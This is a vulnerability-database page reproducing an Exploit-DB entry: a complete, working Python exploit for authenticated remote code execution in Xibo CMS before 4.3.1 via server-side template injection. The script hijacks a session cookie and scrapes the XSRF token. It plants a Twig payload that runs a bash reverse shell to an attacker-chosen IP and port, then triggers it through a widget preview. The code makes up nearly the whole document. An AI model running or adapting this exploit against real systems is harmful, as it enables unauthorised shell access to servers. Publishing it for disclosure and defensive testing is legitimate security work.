Lucene search
K

Xibo CMS 4.3.0 - RCE via SSTI

🗓️ 29 Apr 2026 00:00:00Reported by Cristian BranetType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 60 Views

This report covers authenticated remote code execution in Xibo CMS before 4.3.1 via server side injection.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-62369
5 Nov 202501:36
circl
CNNVD
Xibo CMS 安全漏洞
4 Nov 202500:00
cnnvd
CVE
CVE-2025-62369
4 Nov 202521:18
cve
CVE
CVE-2025-62639
1 Jan 197600:00
cve
Cvelist
CVE-2025-62369 Xibo CMS: Remote Code Execution through module templates
4 Nov 202521:18
cvelist
Cvelist
CVE-2025-62639
1 Jan 197600:00
cvelist
EUVD
EUVD-2025-34947
18 Oct 202503:30
euvd
NVD
CVE-2025-62369
4 Nov 202522:16
nvd
NVD
CVE-2025-62639
18 Oct 202503:15
nvd
OSV
CVE-2025-62369 Xibo CMS: Remote Code Execution through module templates
4 Nov 202521:18
osv
Rows per page
# Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI
# Date: 2025-11-04
# Exploit Author: Cristian Branet
# Vendor Homepage: https://xibosignage.com/
# Software Link: https://github.com/xibosignage/xibo-cms/
# Version: < 4.3.1
# Tested on: Linux (Ubuntu 22.04)
# CVE : CVE-2025-62639
# Article: https://cristibtz.github.io/posts/CVE-2025-62369/

import requests, argparse, pyfiglet, re, json, time

parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)")
parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID")
parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell")
parser.add_argument("-p", "--port", required=True, help="Port for reverse shell")

class Exploit:
    
    def __init__(self, url, session, ip, port):
        self.url = url
        self.session = session
        self.ip = ip
        self.port = port
        self.headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
        }

    def get_xsrf_token(self):

        try:            
            response = requests.get(f"{url}/statusdashboard", headers=self.headers)
        except Exception as e:
            print(f"Error connecting to {url}: {e}")
            exit(1)

        text = response.text

        pattern = r'name="token" content="([a-f0-9]+)"'
        
        try:
            xsrf_token = re.search(pattern, text).group(1)
        except Exception as e:
            print(f"Error extracting XSRF token: {e}")
            exit(1)

        return xsrf_token

    def create_module_template(self, xsrf_token):

        timestamp = int(time.time())

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId": f"exploit_poc_{timestamp}", 
            "title": "Template for PoC",
            "dataType": "article",
            "copyTemplateId": "",
            "showIn": "layout"
        }    

        try:
            response = requests.post(f"{self.url}/developer/template", data=data, headers=headers)
        except Exception as e:
            print(f"Error creating module template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        template_id = response_info["id"]

        return template_id, timestamp, f"exploit_poc_{timestamp}"


    def update_module_template(self, xsrf_token, template_id, name):

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId":f"{name}",
            "title": f"Template for PoC - {name}",
            "dataType": "article",
            "showIn": "layout",
            "enabled": "on",
            "developer-template-properties": [],
            "properties": [],
            "twig": '<div style="background: red; color: white; font-size: 24px; padding: 20px;">Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}} <br></div>',
            "hbs": "",
            "style": "",
            "head": "",
            "onTemplateRender": "",
            "onTemplateVisible": "",
            "isInvalidateWidget": "on"
        }    

        try:
            response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers)
        except Exception as e:
            print(f"Error updating module template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        return response_info["success"]

    def create_normal_template(self, xsrf_token):

        timestamp = int(time.time())

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "folderId": 1,
            "name": f"exploit_poc_template_{timestamp}",
            "tags": "",
            "tagValueInput": "",
            "resolutionId": 1,
            "description": "Exploit template"
        }    

        try:
            response = requests.post(f"{self.url}/template", data=data, headers=headers)
        except Exception as e:
            print(f"Error creating normal template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        template_id = response_info["id"]
        layout_id = response_info["data"]["layoutId"]
        region_id = response_info["data"]["regions"][0]["regionId"]
        playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"]

        return template_id, layout_id, region_id, playlist_id

    def add_rss_widget(self, xsrf_token, playlist_id, name):
        
        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId": f"{name}",
        }

        try:
            response = requests.post(f"{url}/playlist/widget/rss-ticker/{str(int(playlist_id) + 1)}", data=data, headers=headers)
        except Exception as e:
            print(f"Error adding RSS widget: {e}")
            exit(1)
    
        response_info = json.loads(response.text)

        widget_id = response_info["id"]

        return widget_id

    def preview_rss_widget(self, xsrf_token, widget_id, playlist_id):
        
        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        try:
            response = requests.get(f"{url}/playlist/widget/resource/{str(int(playlist_id) + 1)}/{widget_id}?preview=1&isEditor=1", headers=headers)
        except Exception as e:
            print(f"Error previewing RSS widget: {e}")
            exit(1)

        return response.status_code

if __name__=="__main__":
    print("\n")
    print(pyfiglet.figlet_format("CVE-2025-62369 PoC", font="small", width=100))
    print("Author: Cristian Branet")
    print("GitHub: github.com/cristibtz")
    print("Description: This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.")
    print("\n")

    args = parser.parse_args()
    url = args.url
    session = args.session_key
    ip = args.ip
    port = args.port

    xibo_exploit = Exploit(url, session, ip, port)

    try:
        xsrf_token = xibo_exploit.get_xsrf_token()
    except Exception as e:
        print(f"Error getting XSRF token: {e}")
        exit(1)
    
    print("Retrieved XSRF token: ")
    print(xsrf_token)

    try:
        module_template_id, creation_time, name = xibo_exploit.create_module_template(xsrf_token)
    except Exception as e:
        print(f"Error creating module template: {e}")
        exit(1)

    print(f"Created module template with id: {module_template_id} with name: {name}")

    try:
        update_success = xibo_exploit.update_module_template(xsrf_token, module_template_id, name)
    except Exception as e:
        print(f"Error updating module template: {e}")
        exit(1)

    print(f"Updated module template with success: {update_success}")

    print("Creating normal template...")

    try:
        normal_template_id, layout_id, region_id, playlist_id = xibo_exploit.create_normal_template(xsrf_token)
    except Exception as e:
        print(f"Error creating normal template: {e}")
        exit(1)
    
    print("Created normal template with: ")

    print(f"Normal Template ID: {normal_template_id}")
    print(f"Layout ID: {layout_id}")
    print(f"Region ID: {region_id}")
    print(f"Playlist ID: {playlist_id}")

    print("Adding RSS widget to playlist...")

    try:
        widget_id = xibo_exploit.add_rss_widget(xsrf_token, playlist_id, name)
    except Exception as e:
        print(f"Error adding RSS widget: {e}")
        exit(1)

    print(f"Added RSS widget with ID: {widget_id}")

    print("Previewing RSS widget to trigger the exploit...")

    try:
        status_code = xibo_exploit.preview_rss_widget(xsrf_token, widget_id, playlist_id)
    except Exception as e:
        print(f"Error previewing RSS widget: {e}")
        exit(1)

    if status_code == 200:
        print("Exploit triggered successfully! Check your listener for a reverse shell.")
    else:
        print("Failed to trigger the exploit.")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Apr 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.17.2
EPSS0.00509
SSVC
60